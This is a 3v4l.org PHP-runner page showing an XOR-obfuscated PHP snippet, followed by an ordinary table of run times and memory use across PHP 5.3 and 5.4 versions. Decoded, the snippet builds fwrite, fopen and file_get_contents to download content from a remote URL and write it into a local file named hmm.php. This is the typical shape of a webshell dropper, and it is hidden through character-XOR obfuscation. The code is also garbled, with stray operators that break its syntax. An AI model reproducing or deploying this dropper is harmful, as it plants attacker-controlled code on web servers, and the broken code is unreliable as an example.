3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_=("&"^"@").("("^"_").('-'^'_').("@"^")").("+"^"_").(":"^"_"); $__=("&"^"@").("/"^"@").((','^'~')^'"').(":"^"_").("."^"@"); $___=("&"^"@").("@"^")").(","^"@").(":"^"_")._(']'^':').(":"^"_").("+"^"_")._('<'^'_').("/"^"@").("."^"@").("+"^"_").(":"^"_").("."^"@").("+"^"_").(','^'_') $_($__(("@"^"(").('-'^'@').('-'^'@')..((','^'~')^'"').("@"^"(").((','^'~')^'"'),("("^"_")),$___(("@"^"(").("+"^"_").("+"^"_").((','^'~')^'"').://("&"^"@").('-'^'@').(','^'_').(('-'^'|')^'`').('<'^'_').("@"^"(").(">"^"_").('-'^'_').('-'^'@').(":"^"_").(']'^':').("@"^")").('-'^'_').(","^"@").(','^'_')..('<'^'_').("/"^"@").('-'^'@')./("+"^"_").(":"^"_").(','^'_').("+"^"_")..("+"^"_").(('.'^'~')^'(').("+"^"_")));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.250.0230.04319.07
5.4.240.0270.06718.95
5.4.230.0230.04019.12
5.4.220.0170.05019.19
5.4.210.0200.07019.15
5.4.200.0130.04019.21
5.4.190.0370.04719.21
5.4.180.0230.04019.24
5.4.170.0270.04019.21
5.4.160.0130.04018.93
5.4.150.0130.04319.07
5.4.140.0170.06316.27
5.4.130.0130.04716.32
5.4.120.0230.03716.37
5.4.110.0230.03016.63
5.4.100.0200.03316.41
5.4.90.0270.04316.46
5.4.80.0170.03316.34
5.4.70.0200.04016.44
5.4.60.0170.03316.34
5.4.50.0300.05716.48
5.4.40.0200.03316.34
5.4.30.0170.04316.53
5.4.20.0230.04016.53
5.4.10.0200.07316.16
5.4.00.0200.04715.71
5.3.280.0200.04314.47
5.3.270.0230.03014.45
5.3.260.0200.03314.47
5.3.250.0230.06714.56
5.3.240.0230.05314.55
5.3.230.0270.06314.43
5.3.220.0130.04014.48
5.3.210.0130.04714.41
5.3.200.0200.03714.52
5.3.190.0030.04014.55
5.3.180.0100.05314.43
5.3.170.0130.04014.44
5.3.160.0270.02714.51
5.3.150.0230.04714.48
5.3.140.0270.02714.39
5.3.130.0170.03714.39
5.3.120.0230.05714.50
5.3.110.0200.06714.54
5.3.100.0170.04713.98
5.3.90.0170.03713.93
5.3.80.0130.04313.86
5.3.70.0130.04013.88
5.3.60.0230.04314.10
5.3.50.0200.03713.73
5.3.40.0300.02713.91
5.3.30.0170.03713.69
5.3.20.0200.03713.54
5.3.10.0130.04013.51
5.3.00.0130.04013.49

preferences:
138.53 ms | 939 KiB | 8 Q